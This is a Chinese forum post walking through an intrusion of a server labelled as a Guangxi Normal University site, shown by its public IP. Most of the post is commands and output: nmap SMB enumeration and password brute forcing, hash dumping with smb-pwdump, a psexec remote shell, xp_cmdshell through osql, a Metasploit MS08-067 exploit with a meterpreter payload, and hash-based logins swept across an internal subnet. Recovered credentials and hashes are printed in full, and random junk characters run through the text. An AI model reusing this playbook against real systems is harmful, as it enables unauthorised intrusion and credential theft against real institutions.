广西师范网站http://202.103.242.241/
0 f. R. p5 h9 y5 X' F, i6 m9 ?& \! v# E8 A, H
root@bt:~# nmap -sS -sV 202.103.242.241- p5 E0 G' j; I% ^) V
% c3 Q0 m# {+ TStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
7 J& w! _7 _& Y$ q' T5 `7 T$ F
& |) e. ]. ]. D8 E2 rNmap scan report for bogon (202.103.242.241)
6 Q4 f3 p: r. v& R4 S+ t5 {- L. D9 {
Host is up (0.00048s latency).1 J, W: [3 f6 _5 ^1 D0 W- U1 J
& v; M$ J7 S) S4 Q5 m. i1 k
Not shown: 993 closed ports
9 i5 d6 Y& l0 ?. I/ e& v- ]- g7 ^0 o% E' N; c9 R+ y& i
PORT STATE SERVICE VERSION
7 {" j5 d1 W. S" Z; e+ p+ b2 l- G0 ]- S' k0 L! i
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)/ J/ F8 `6 C2 D
. [& ]* V/ s% i. w8 D! ^5 o
139/tcp open netbios-ssn2 n* D+ l/ \, D% s6 Q
* V2 j5 U% `1 V
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
) u/ x% ~, ^! w& X0 D. Y4 s1 ~* K6 b% w" o3 H. N
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)# [( R: c2 h6 [: i& B' h
# o; I2 ~" a9 P
1026/tcp open msrpc Microsoft Windows RPC
/ g: ` V* z A/ \
- u: P" D% g/ }7 b/ d; ?3372/tcp open msdtc?
9 S6 d" d3 z, _ z
% r# m4 B' ?9 h6 ?6 f/ A- T# B3389/tcp open ms-term-serv?
* j! k0 M) m1 M) u g- \5 e) [. l1 I/ S
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
! r: Q. y% ^$ k" Q9 {SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r! D5 W7 N! o! Z+ z) V# r
& t3 e& e2 ^4 t' v! X7 M( SSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
4 u0 J: J: |8 I+ p( E0 U' V5 [: V1 |# B
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
4 D+ x z8 [0 S& ^" z! Y, g( d/ N. z# g5 D& |% R) ]9 K" L: {
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO& A7 j6 S7 a2 T9 \+ |0 r# g, j2 ?/ N# @
6 ~0 e' k6 _0 E$ @
SF:ptions,6,”hO\n\x000Z”);
- C- Z6 d1 T/ P9 K: p( I1 D$ k6 B$ P2 n& ^- w% a M$ ~
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
Z/ w0 E" B. f* k7 ?
1 _8 _/ p+ o. [2 b3 S/ n1 m7 o/ xService Info: OS: Windows9 f8 e. P% _% z+ o1 Y+ T, N7 R
( L8 z1 e, x- Q' Y% oService detection performed. Please report any incorrect results at http://nmap.org/submit/ .
% P) \- k8 j" Z
' l* h: D& V6 o& E8 r1 bNmap done: 1 IP address (1 host up) scanned in 79.12 seconds
% d- D# h+ R6 Z/ X" @4 W4 O: G7 {1 `6 _3 u% |9 B
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本/ X0 [0 O3 M% V. q0 ]1 F
' S4 p; ~1 A. j-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse5 k" \& @+ Q9 s* c
7 y0 ?. G4 k# w/ f ~-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
# l5 P0 ^% }, K& O x" Q
' Y4 h9 y8 [4 Y-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse k0 o8 S- S2 y, q" Z
5 w7 E0 _. l# ^7 F V
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse0 B$ e# g/ H2 t: \/ X5 ]4 }! _+ ^
* {% h) m$ P% ^# S& P7 K' y7 U-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
$ f& }$ y6 H/ [" Y1 u/ g+ n g( H4 h* c+ w; k% F% S
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
3 D7 v8 h0 S1 T5 `0 C5 a+ k1 D' Z" p4 B. J- @) X. C
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse3 y) o, f6 {; a6 Z1 k& L
, j% H% `, H% e& h# w g) I9 L-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
+ Y2 N, |/ ]' D9 g' t8 {
8 x( U/ n H- M-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
- Q( I. _0 F) e8 u$ C6 V+ n* m+ R( }& s
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse. B& E2 R h# A! a% z2 I; e
- M8 \0 L5 e Q# o-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse* U- [, C/ t6 ~) P2 ?. R' V7 y
3 W' s- j2 R. b( g
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
0 {# s, ]4 ], Y6 ` T7 t4 z* Y B! [% ` X' b( o' a, c
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse9 f" `. l4 D4 }, ?8 a* t
+ Y* U/ i8 ]6 ^6 R: T8 y! L# R- x- {
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse3 M* r& a! G+ {
x- t" `0 i/ w* r; G. W5 f
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
" H' F: g: A& i: H
& m0 y2 [7 q# }root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 # f! `/ k0 q9 I v/ B6 G4 X+ m/ Q
4 w/ K- w, E0 D+ d' B
//此乃使用脚本扫描远程机器所存在的账户名" n0 W9 \ s8 p' P, h
7 y3 e* ^, J! j$ S; O2 Q( h5 M9 @
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST$ v& u+ F5 @$ i! B
: f. U6 D/ e- U, `& mNmap scan report for bogon (202.103.242.241)0 M0 N y( o$ P f
, D6 h( R$ z$ @" Y, Q/ _* Z
Host is up (0.00038s latency).- m" u$ _# U* ]) d: _3 g% Q9 K' q
0 H W0 U4 M" M. k
Not shown: 993 closed ports( I" |, b5 E c% x) [
/ I* J! Q7 ?# v% [% m0 oPORT STATE SERVICE' I' V+ k8 Y, f
: H: y$ W: @$ r3 z- [' z135/tcp open msrpc
/ X Z2 b3 ^! S3 W$ c4 L0 B. P( k
$ ?( @( g& N) E4 e6 c139/tcp open netbios-ssn
9 U; }1 \) ]4 D9 x' o% B; I0 f! K) z/ O$ P
445/tcp open microsoft-ds9 \3 F$ z0 @' Y$ H6 e# d
* b0 k& Q& ^; S: g7 m8 t1025/tcp open NFS-or-IIS
! }7 B$ A; `1 i, O9 ?6 L% a1 Z4 x; U0 w: s5 v1 L
1026/tcp open LSA-or-nterm+ D! C5 y$ Y" e l8 U
+ F& B3 p2 y _! Z3 f
3372/tcp open msdtc" p0 S8 H6 w- x# k2 h; ?
, c' e+ C+ T7 U3389/tcp open ms-term-serv
: O9 y+ Z, f( ~5 |. d0 _
$ O, p5 \6 C7 \% b4 z7 A8 H- QMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)* r2 I4 p z, V/ ^5 ?: g
4 o. Q: D7 _5 t8 S" B1 wHost script results:
0 Q. _( `6 b/ S& F" v4 O% _
2 n6 U i% b- \1 Y8 ~4 I| smb-enum-users:6 G, O: x: \# z: J4 _6 e F$ q5 y
/ P/ m3 w& L, N. J% c' E9 e
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果9 d' e/ q5 i3 d9 w8 ?
/ a) H- j5 t0 d7 [
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
- o) X$ A1 T1 g; ?" j, }; s, v6 ] w
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 8 g! r6 P- `# k1 a3 H8 d
& n; a9 H5 d2 R% d//查看共享" q- a( H5 p1 l
! H8 C+ e9 r1 T" P
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST' q! D2 N, ]1 _0 v
# O ?* G8 r/ E5 ?! YNmap scan report for bogon (202.103.242.241), Z9 z+ Z7 F7 ~8 s# \! P. F
: G9 F5 Q" d1 s/ _# mHost is up (0.00035s latency).
" v4 d' S) [4 C( S5 Y' h9 y
6 ^. m8 B& D' P% N7 r* LNot shown: 993 closed ports
% t I) H8 q' E$ [, e9 h5 a: f* |1 \! F+ h; q
PORT STATE SERVICE* r2 L2 f9 S, ~4 {8 e
0 |# O2 a, s/ x
135/tcp open msrpc
- Z8 d; _) b" r% _: S& N
$ T6 f6 {% _* b" c* p# Z139/tcp open netbios-ssn
: y5 Z: Y7 y- T/ A5 U' ^0 |
3 J7 t( t2 A. w% I445/tcp open microsoft-ds' p$ @. h9 y J& I) O# n, a; [
6 d# A6 V! L0 M& e0 E$ U9 V
1025/tcp open NFS-or-IIS
" p5 R7 A# E3 M# P/ \5 t9 P' z/ ^, c6 W7 M/ n
1026/tcp open LSA-or-nterm# U! L4 N* L3 [) D8 M; V3 a0 U2 [
7 K9 [6 E; {" P' L/ t9 y
3372/tcp open msdtc/ S, y4 k) b4 B# T% I$ \
4 B; ]' n4 U: |. V9 ], k8 d" |3389/tcp open ms-term-serv6 J0 @0 g! E$ a# A# X8 l/ ]
: V1 Q% f. F' z( E; xMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
- t# b X. B' V" ?* D6 v$ K& A* L* v- F _1 s4 D
Host script results:* a0 i! @4 @* y d% G! J( W/ M7 j
/ Y2 W$ Q# i7 i0 S
| smb-enum-shares:
- G% @) I2 I E8 h+ r$ j8 K. f5 n7 W& a9 ^3 A& w
| ADMIN$
/ z$ w) G1 }; J. Q" r" M3 y' Y+ u
1 R5 o9 y6 h' g| Anonymous access: <none>
+ Z1 V7 W0 u7 A* _. r: M$ s. _4 v/ y% Z& t: J; F8 b: k% E
| C$
+ i g0 J+ g$ {4 J7 P! m5 U% d
| Anonymous access: <none># G r3 y3 M" q, k( z
# X2 l! m0 n [# S| IPC$( o) v4 x3 L$ I
' B% J: _$ k+ I+ ?9 r3 j3 O|_ Anonymous access: READ
3 L! {( u3 M3 v. S
* S" h% T$ y" L+ a$ t3 j- o! f) _Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds9 N' {/ t I! g$ X8 N9 o
9 w/ |: K* h) v9 I2 C8 O4 s" v- j/ sroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
3 A5 _$ ~$ ?. C5 Q- W0 Q% O! }* Y: l2 B9 X* }2 v* ^3 F* o
//获取用户密码
8 Q5 G* f2 s; J! R3 u
- ]) F' Y, W6 NStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
7 \- c6 X% ]* s& C! a4 ?3 A6 Y3 w t! z. R& y1 m. S
Nmap scan report for bogon (202.103.242.2418)/ W8 |) b! E6 U( o9 P% S4 a( P0 X
+ y: h) R) _6 tHost is up (0.00041s latency).' `! f/ P8 V: W. Z+ z8 R. C
. s, _# o9 B" r7 D$ p4 LNot shown: 993 closed ports+ ?2 x7 x) u3 k; z/ K6 W3 u
, r' z+ L8 ]' g5 p2 N2 [6 MPORT STATE SERVICE
- l/ a1 s8 w( E0 U% c: |
8 w& g% Z1 ~$ W( x" M135/tcp open msrpc
- @8 ^, ^' R! j- c' J% y3 A" p( c6 ]6 O7 j, j' i6 w3 w2 L
139/tcp open netbios-ssn
. m* d: A% H# j6 ]2 x! v* ^! ?1 |& d
~+ n; M% Q0 y$ g6 ]445/tcp open microsoft-ds: A1 ~0 }) O3 n8 D
' ?4 a& D. c7 b" m- Q" g$ n5 _
1025/tcp open NFS-or-IIS4 B& g8 y; E- g# [8 ?
; i- m3 I& v3 R9 M; K+ V
1026/tcp open LSA-or-nterm
. _, a, h) r& R& b3 g2 n9 v5 d4 W I
9 ~/ O& G# |* y, `3372/tcp open msdtc0 s& Z: F$ [% f1 P6 O
# x% J& _4 Y$ v o* ~
3389/tcp open ms-term-serv
5 o! L6 c3 N) R+ ?4 u# s; w7 c
2 Z4 p2 n6 O, Z9 t QMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)/ K$ _" i/ n2 C# L# j
+ q* R6 H, _8 D8 }, j cHost script results:
9 e( i9 ~$ h( d6 n
. O% S( e* [ e% G: ^' Z1 Q| smb-brute:- B. E6 q% [& n/ ?& `) [/ Q( A1 `& \, v
3 r. r" }( V' X) {. Zadministrator:<blank> => Login was successful' F _" U1 A$ Y1 h) S; J
9 q4 a0 V) H* b5 v, Y7 C4 P|_ test:123456 => Login was successful
h3 Q0 L0 J5 P0 D( W( s# f
7 O* K3 n# \! h7 U. Q% h, Z; SNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
0 D- g4 x( `/ m5 K& m9 \: J. J0 J1 e. f
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
( o v& a. K' v# a' h; G L! X/ y
, X, L; x$ k# I; e4 n3 Jroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
, U# J5 C+ ^8 p- U
/ k1 F& r( M6 l# B& \' Vroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
. d4 Z9 m0 x/ u z
3 r4 c5 ~: v# q: Proot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139' H$ h$ L! N. F- x# F
! k2 I3 Q( x4 TStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
; p% x7 `1 Q: o
$ m! D1 q8 N: U. y/ eNmap scan report for bogon (202.103.242.241)
) T* B1 z* Q5 I1 i! ]
# Z; U* j' o* J) n! L2 _9 }Host is up (0.0012s latency).5 j) |3 x. A% i, f& \2 }; d# D
7 z7 K5 d1 [) X# k! g' {, EPORT STATE SERVICE
. m- X& X9 U' p0 O. V4 c4 K
) J, d/ y9 Y% M3 f* J135/tcp open msrpc
% [5 z9 Z B# t, B- U9 M- p
2 h e1 [. P$ C0 M: y; o; [; X139/tcp open netbios-ssn
' D& J# j/ E5 a \
- \; @$ h/ b- {+ A2 x) I445/tcp open microsoft-ds
; I& W& |2 H! `0 @8 r' S; I
" s& j0 M. S m7 S$ F8 ^MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
/ Z* [$ ^/ ~6 Z( \! z* {
' O. Q, w/ ~0 ]8 @& f* C; p0 E6 NHost script results:. t4 v4 y2 U2 g; s
. N% s# i% _$ W5 v: d! A% S+ Q
| smb-pwdump:, g' \" F2 y! H* O$ s* D) Y
: C( c4 {0 Z6 V) s8 k
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
. |) N6 q' \, s3 u, ?
?, d! @5 b8 Q g5 n% d5 `! I4 \- e| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
+ ]9 ^& v4 b. k. M8 U; F
1 @7 o& A+ k( F6 [8 x, j; o| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
. Z4 E* T3 ]( c. Z' ?
' Y$ O* t9 d2 G' K|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2 j. d! I9 i2 ?
8 V. H( B0 k! m; `
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
7 Q9 V! N3 G6 V: F$ J9 n2 V5 q6 ~, h, V' p8 r5 v
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
4 [$ x7 _% H% r, F
+ m, q3 R+ q/ N9 d: y' ?-p 123456 -e cmd.exe, v& _3 j1 B' K, I8 `: C
2 T$ P+ Z' N# T2 }4 ?/ Y
PsExec v1.55 – Execute processes remotely
2 S' J# X0 {% t/ {6 X( w+ o
( R3 k W' X! c5 {& TCopyright (C) 2001-2004 Mark Russinovich
) ^. m0 y% b! L4 G* L c
, g, F* q( I$ c5 m, W, }: XSysinternals – www.sysinternals.com
8 m+ c6 Z1 I) l3 L/ W# K
& U$ u% Y3 e8 O' QMicrosoft Windows 2000 [Version 5.00.2195]
$ d2 ~$ h; ^# H! v d( T+ n
4 i( [8 i! {) z/ f0 n# }* s' {(C) 版权所有 1985-2000 Microsoft Corp.( G' ^6 ^7 o; H5 l
# ]# _) y: O* w, wC:\WINNT\system32>ipconfig; c. m$ k0 T' b$ B1 U: e
' H3 Q$ R" t6 Y7 d- ]; Y
Windows 2000 IP Configuration
2 E$ k9 `5 p) n4 G# t+ F- s) o! f7 H
Ethernet adapter 本地连接:
0 w3 T- q/ R0 C' C) ^+ L7 f& R" ^( T* v- W. S8 _; ?$ } L
Connection-specific DNS Suffix . :
0 j4 S( N2 b/ n2 V$ t% h6 I- C) }) d( B& z) P4 F" a \0 X2 @2 S/ X
IP Address. . . . . . . . . . . . : 202.103.242.241
5 f$ f( d1 c" o. d4 x% P" [) W0 M( }, d( P# p' ~$ p
Subnet Mask . . . . . . . . . . . : 255.255.255.0
8 N, T: o* T( p" X
3 t3 _& m& e! a/ G$ Q+ ]5 YDefault Gateway . . . . . . . . . : 202.103.1.1
. {, r; D L$ N8 i+ J* g$ d5 Z
, `3 z1 ?9 L9 M# M# H VC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
# y" `; X; Y6 V" |' n, G* w- W, D3 q( Y. ^5 n& ?0 m2 a4 R$ M
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
1 c {! T; j# P: K. ?# l
) J q4 n8 c# h2 s5 h* C. ]% @9 RStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
3 ?, j: n" w H* @, t" g- C+ }1 v3 }" x9 k7 v8 n
Nmap scan report for bogon (202.103.242.241): m X0 l0 ~1 n# z
! t0 L7 B7 R- f' v7 K- {9 T$ K! }* e
Host is up (0.00046s latency).
- `7 Q5 A0 p( F H4 @2 i2 S8 E$ `$ K) i
Not shown: 993 closed ports
* d) s4 o+ b/ m1 i/ E$ N8 z4 a- m- y' l2 s R# @( R8 x* _
PORT STATE SERVICE( a1 V3 ^/ M3 f- y
' B+ T$ E; ?$ b4 R8 A+ @! E
135/tcp open msrpc
4 n/ i, y' `6 W; n
( {6 {) p3 x* Y c9 R139/tcp open netbios-ssn
3 t4 s/ e* [( ?" @, [5 U! G9 _1 @# t* ?! X. A( R0 j; F
445/tcp open microsoft-ds9 L8 |4 D/ t5 f: q6 S" j. {3 {" b
: [4 |* q+ T/ A7 o4 k' D
1025/tcp open NFS-or-IIS
b! r* }5 S( g9 H: c1 ` f v
- V$ d9 G9 E6 M- B1026/tcp open LSA-or-nterm5 f3 k1 N2 t& ^4 c7 n- m9 u5 J
; A& G! @1 W, K0 L* z# m4 F
3372/tcp open msdtc r' v4 F1 U- a
2 w: }7 n' l; q _# F5 Y3389/tcp open ms-term-serv
7 K; Z$ {2 l# @2 D: x" r" z. [7 b, V- W: d& h' ]
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)2 Y J$ L$ K l, \* W; `7 t: b; }
2 f; n- _% R" R+ Y& @3 E1 B9 L+ kHost script results: L$ _6 L1 C+ a h, V! ^
( z9 h9 S- d3 k- {4 E
| smb-check-vulns:% J: |! Y) g: K) d! E& \1 m" w
3 R; y! j$ g7 ^2 X
|_ MS08-067: VULNERABLE
$ a) Q' X1 G) K- Y7 i
" W4 B1 U8 X# E. PNmap done: 1 IP address (1 host up) scanned in 1.43 seconds
e6 r! z; i0 _+ [* D
9 c4 \) e `" {7 Nroot@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
' J0 u6 `: U$ T* [+ q, N3 y% g* j$ n& C9 B
msf > search ms08
8 j/ K9 i: {" M8 Z, w! h+ }6 x& s5 E7 U* k
msf > use exploit/windows/smb/ms08_067_netapi
1 k2 ?, J8 `3 ^! n# {4 b4 [. G6 d" M0 R5 l
msf exploit(ms08_067_netapi) > show options* I, s6 \+ O! O1 d0 U& ~: |
1 b4 }) X5 {( q( O# ^msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
$ _# E) [+ w% F9 W1 {* G
- K/ f: ^! A- g0 d' `msf exploit(ms08_067_netapi) > show payloads
; V' L9 M( V* s2 }2 _, `4 |0 S X% [3 B# s- |- ]
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
7 S ]* m V& B+ l( z& U
, h/ o# ^- J g3 P' k% K1 mmsf exploit(ms08_067_netapi) > exploit" Z" |; q. d- F1 B' R
+ F, X' j0 V# V1 k9 T+ H5 b' S0 T+ Umeterpreter >3 s: W% W! l; c3 o j7 ~% L* {
$ t' m* \: {0 [% Z/ oBackground session 2? [y/N] (ctrl+z)
( ^4 R. X$ [) V0 t4 H6 d" n6 G" n& L
msf exploit(ms08_067_netapi) > sessions -l
: X$ p3 k$ F" @+ G5 N. N
1 x# Q1 T9 N: c, F# Xroot@bt:/usr/local/share/nmap/scripts# vim usernames.txt! r+ z. V6 B! I% Y8 ]
) }+ e3 L. y3 C+ m" w
test6 z, A6 H+ A. ]# s7 g- G( a
4 p0 O, T* ^ C! X F/ {administrator, Z: ]% j( \; Y, g; @7 W( c6 m1 p- N
3 V3 E7 r9 [+ \root@bt:/usr/local/share/nmap/scripts# vim password.txt
7 p' j# o3 U ~
) W4 [' C1 [ X Q' H6 G7 x2 D8 W% b44EFCE164AB921CAAAD3B435B51404EE
" I' |6 T5 M v, \- p5 a; L/ q, j$ n+ O3 P* o6 t
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
O* q/ G: j$ D4 u! x, c9 Z$ Y- w; f/ ~ ?
//利用用户名跟获取的hash尝试对整段内网进行登录, z3 a6 r( ` X1 \( w/ t2 }0 l
4 k. d0 ?! G, ]( |1 |( p
Nmap scan report for 192.168.1.105
4 q* i I" I# \ U# p% O" v, R) N1 s
Host is up (0.00088s latency).( |$ @$ C% F2 w7 y
' t* c+ N, |) R3 e. K2 \
Not shown: 993 closed ports
, h* x& `% g) u3 h' ~' @5 r0 m7 Y& Q# a( l
PORT STATE SERVICE
6 Q d' K4 z8 O- C4 ^; u
|7 k; H* \9 V" {$ n: j$ k135/tcp open msrpc
3 k0 b( W" s4 ^) e( J
& F( I ~6 O2 \2 \6 }! l139/tcp open netbios-ssn
% Y( d; _$ B. g+ r7 M2 t1 Z- q$ D* { L7 \1 l% O1 I t
445/tcp open microsoft-ds
( w7 M+ d0 _( Q5 p5 ~) ?' t4 O0 b2 z: ^: {; a+ G6 U
1025/tcp open NFS-or-IIS, m1 e8 g* u1 `4 G
. j' `, u) G* N
1026/tcp open LSA-or-nterm
, C5 g4 d# U! [" x" y
6 B; k6 a$ `" i) u2 S3372/tcp open msdtc
K' I/ d) C3 z3 F! V' Q6 K/ `/ k7 G5 m
3389/tcp open ms-term-serv3 a" x. F3 E! j7 }4 \$ [
' M/ n% u( v) [6 {" S1 h
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
: f7 ~( M1 J3 F1 ?2 _" M5 I) c& l7 C3 Q5 Y% P0 s& Y9 t- Q! G
Host script results:0 z, @& X3 S1 b
3 E4 r: g) @% a4 N# _3 j9 o| smb-brute:$ h0 X# {* M4 U) E
: t0 M* f8 {8 W5 n|_ administrator:<blank> => Login was successful
, l; M5 r/ [7 W- y% f) Q' o
/ N, N* O2 p0 Z, }+ L攻击成功，一个简单的msf+nmap攻击~~·6 {. C, k" a( N* `# d$ @2 n/ v, d
# `, r' I) m, w0 Q/ |7 a5 k |
发表于 2012-12-4 12:46:42
收藏
支持
反对